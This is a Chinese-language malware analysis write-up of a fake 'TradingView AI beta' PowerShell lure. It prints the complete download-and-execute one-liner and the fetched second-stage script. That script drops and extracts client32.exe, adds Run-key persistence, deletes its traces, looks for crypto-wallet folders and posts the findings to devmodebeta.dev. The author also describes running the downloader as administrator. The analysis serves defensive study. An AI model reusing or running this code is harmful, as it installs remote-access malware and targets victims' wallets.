目录
- 源文件
- 执行流程分析
- 获取源脚本释义
- 获取源脚本实践
- 分析获取到的源脚本
- 疑问
源文件
powershell -Command "$update='TradingView'; $InstallPackage='AI_beta'; $mode='devmode'; $protocol='https'; $InternalBuild='v1.9.32'; $api=$protocol+'://'+$mode+'beta.'+'dev'; $Response=Invoke-WebRequest -Uri $api -UseBasicParsing -UserAgent $update; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Script"
执行流程分析
获取源脚本释义
# 管理员打开cmd并执行下述命令
powershell -Command "$update='TradingView'; $InstallPackage='AI_beta'; $mode='devmode'; $protocol='https'; $InternalBuild='v1.9.32'; $api=$protocol+'://'+$mode+'beta.'+'dev'; $Response=Invoke-WebRequest -Uri $api -UseBasicParsing -UserAgent $update; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); $Script释义:
1、变量定义
$update='TradingView'; # 设置为 'TradingView',可能是指一个与 TradingView 相关的标识
$InstallPackage='AI_beta'; # 设置为 'AI_beta',可能是指一个名为 "AI_beta" 的安装包
$mode='devmode'; # 设置为 'devmode',可能表示开发模式。
$protocol='https'; # 设置为 'https',这是网络协议
$InternalBuild='v1.9.32'; # 设置为 'v1.9.32',可能是软件的内部构建版本号2、构建 API URL
$api=$protocol+'://'+$mode+'beta.'+'dev';
释义:
这行代码拼接了一个URL字符串。通过拼接前面的变量,最终构建出来的$api变量是: https://devmodebeta.dev
即目标URL是 https://devmodebeta.dev,这可能是一个开发环境的服务器地址,注意到这里拼接了 'devmode'、'beta' 和 'dev'3、发送 HTTP 请求
$Response=Invoke-WebRequest -Uri $api -UseBasicParsing -UserAgent $update;
释义:
Invoke-WebRequest 是 PowerShell 用于发送 HTTP 请求的命令。
-Uri $api 指定请求的 URL(前面构建的 https://devmodebeta.dev)
-UseBasicParsing 表示使用基本解析,不依赖于 Internet Explorer 的详细解析功能。
-UserAgent $update 设置 HTTP 请求的 User-Agent 为 'TradingView'(之前定义的变量)
这行代码的目的是向 https://devmodebeta.dev 发送请求,获取该地址的内容,并把响应存储到 $Response 变量中4、获取并解码响应内容
$Script=[System.Text.Encoding]::UTF8.GetString($Response.Content);
释义:
$Response.Content 是从远程 URL 返回的原始字节内容
[System.Text.Encoding]::UTF8.GetString() 会把字节内容转换成 UTF-8 编码的字符串
这行代码的作用是将远程响应的字节数据转换为UTF-8字符串,存储到 $Script 变量中5、$Script
释义:
$Script 变量包含从远程URL获取并解码后的脚本代码6、执行返回的脚本
IEX $Script
释义:
IEX $Script 会将从远程URL下载的内容作为 PowerShell 脚本执行
获取源脚本实践
C:\Windows\system32>powershell -Command "$update='TradingView'; $InstallPackage='AI_beta'; $mode='devmode'; $protocol='https'; $InternalBuild='v1.9.32'; $api=$protocol+'://'+$mode+'beta.'+'dev'; $Response=Invoke-WebRequest -Uri $api -UseBasicParsing -UserAgent $update; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content);$Script
Invoke-WebRequest -Uri 'https://devmodebeta.dev/x7.vue' -OutFile "$env:AppData\7z.dll" -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }
Invoke-WebRequest -Uri 'https://devmodebeta.dev/xbe.vue' -OutFile "$env:AppData\b.vue" -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }
Invoke-WebRequest -Uri 'https://devmodebeta.dev/xz.vue' -OutFile "$env:AppData\zz.exe" -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }Set-Location "$env:AppData"
& ".\zz.exe" x b.vue -pkekw -aoa -y > $null 2>&1
Set-Location "$env:AppData\Ns"Start-Sleep -Seconds 3
Start-Process "client32.exe"$pathToExecutable = "$env:APPDATA\Ns\client32.exe"
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'QPort' -Value $pathToExecutableRemove-Item -Path "$env:AppData\7z.dll" -Force
Remove-Item -Path "$env:AppData\b.vue" -Force
Remove-Item -Path "$env:AppData\zz.exe" -ForceStart-Sleep -Seconds 3$yyx = $env:COMPUTERNAME
$filePath1 = "$env:APPDATA\Ns\client32.exe"
$filePath2 = "$env:APPDATA\Ns\client32.ini"if ((Test-Path $filePath1) -and (Test-Path $filePath2)) {$yyxy = "OK"
} else {$yyxy = "Fail"
}$targetFoldersAppData = @("Ledger Live", "@trezor", "Exodus")
$targetFoldersProgramFiles = @("WasabiWallet", "BitBox")
$detectedFolders = @()foreach ($folder in $targetFoldersAppData) {if (Test-Path "$env:APPDATA\$folder") {$detectedFolders += $folder}
}$programFilesPath = "C:\Program Files"
foreach ($folder in $targetFoldersProgramFiles) {if (Test-Path "$programFilesPath\$folder") {$detectedFolders += $folder}
}$folderOutput = $detectedFolders -join " + "
if ($folderOutput -ne "") { $folderOutput += "+" }$requestBody = @{'computerName' = $yyx'folderStatus' = if ($detectedFolders.Count -gt 0) { "+" } else { "-" }'detectedFolders' = $folderOutput
}Invoke-RestMethod -Uri 'https://devmodebeta.dev/info2.php' -Method POST -Body $requestBody -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }Write-Host "Due to high demand, access to TradingView's Beta features is temporarily unavailable. Please check back next Monday." -ForegroundColor Red
分析获取到的源脚本
1、下载文件并存储到本地
以下部分下载了几个文件到 AppData 目录:
Invoke-WebRequest -Uri 'https://devmodebeta.dev/x7.vue' -OutFile "$env:AppData\7z.dll" -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }
Invoke-WebRequest -Uri 'https://devmodebeta.dev/xbe.vue' -OutFile "$env:AppData\b.vue" -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }
Invoke-WebRequest -Uri 'https://devmodebeta.dev/xz.vue' -OutFile "$env:AppData\zz.exe" -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }这些文件被下载到 AppData 目录中的以下位置:
7z.dll
b.vue
zz.exe # 这是一个可执行文件,通常会被用来执行恶意操作2、执行下载的可执行文件
Set-Location "$env:AppData"
& ".\zz.exe" x b.vue -pkekw -aoa -y > $null 2>&1
释义:
这行代码将当前工作目录更改为 AppData 目录
然后,它执行 zz.exe 文件,传递一些参数,并从 b.vue 文件中提取数据。zz.exe 很可能是一个自解压的恶意文件,执行此操作后,可能会执行进一步的恶意代码3、设置自启动
Set-Location "$env:AppData\Ns"
Start-Sleep -Seconds 3
Start-Process "client32.exe"
释义:
将工作目录更改为 $env:AppData\Ns,然后启动 client32.exe 文件,这看起来像是另一个恶意程序,可能会在计算机上持久化运行$pathToExecutable = "$env:APPDATA\Ns\client32.exe"
Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name 'QPort' -Value $pathToExecutable
释义:
这段代码将 client32.exe 添加到 Windows 的启动项,确保每次启动计算机时该程序都自动运行4、删除临时文件
Remove-Item -Path "$env:AppData\7z.dll" -Force
Remove-Item -Path "$env:AppData\b.vue" -Force
Remove-Item -Path "$env:AppData\zz.exe" -Force
释义:
删除之前下载并执行的临时文件,这样做是为了清理痕迹,防止被发现5、检测特定文件夹
$yyx = $env:COMPUTERNAME
$filePath1 = "$env:APPDATA\Ns\client32.exe"
$filePath2 = "$env:APPDATA\Ns\client32.ini"
释义:
检查系统中是否存在特定的文件,如 client32.exe 和 client32.ini,以确定是否执行成功6、$targetFoldersAppData = @("Ledger Live", "@trezor", "Exodus")
$targetFoldersProgramFiles = @("WasabiWallet", "BitBox")
释义:
检查系统中是否存在与加密货币相关的文件夹,如 Ledger Live、@trezor、Exodus 等。这些是与加密货币钱包相关的应用程序文件夹,脚本可能试图寻找这些文件夹以检测特定应用程序。7、$detectedFolders = @()
释义:
记录检测到的文件夹,如果找到了与加密货币钱包相关的文件夹,将它们加入到 detectedFolders 数组8、向远程服务器发送信息
$requestBody = @{'computerName' = $yyx'folderStatus' = if ($detectedFolders.Count -gt 0) { "+" } else { "-" }'detectedFolders' = $folderOutput
}
Invoke-RestMethod -Uri 'https://devmodebeta.dev/info2.php' -Method POST -Body $requestBody -Headers @{ 'User-Agent' = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36' }
释义:
将计算机的名称和检测到的加密货币钱包信息(如果有的话)发送到远程服务器 https://devmodebeta.dev/info2.php9、输出信息
Write-Host "Due to high demand, access to TradingView's Beta features is temporarily unavailable. Please check back next Monday." -ForegroundColor Red
释义:
显示一个信息消息,假装是 TradingView 的信息(这与脚本的真实目的无关,可能是为了掩饰脚本的真正意图)
疑问
1、https://devmodebeta.dev是一个C类地址,是如何从该地址中获取文件的?2、为什么我在cmd下完整的执行如下命令时出现下图
powershell -Command "$update='TradingView'; $InstallPackage='AI_beta'; $mode='devmode'; $protocol='https'; $InternalBuild='v1.9.32'; $api=$protocol+'://'+$mode+'beta.'+'dev'; $Response=Invoke-WebRequest -Uri $api -UseBasicParsing -UserAgent $update; $Script=[System.Text.Encoding]::UTF8.GetString($Response.Content); IEX $Script"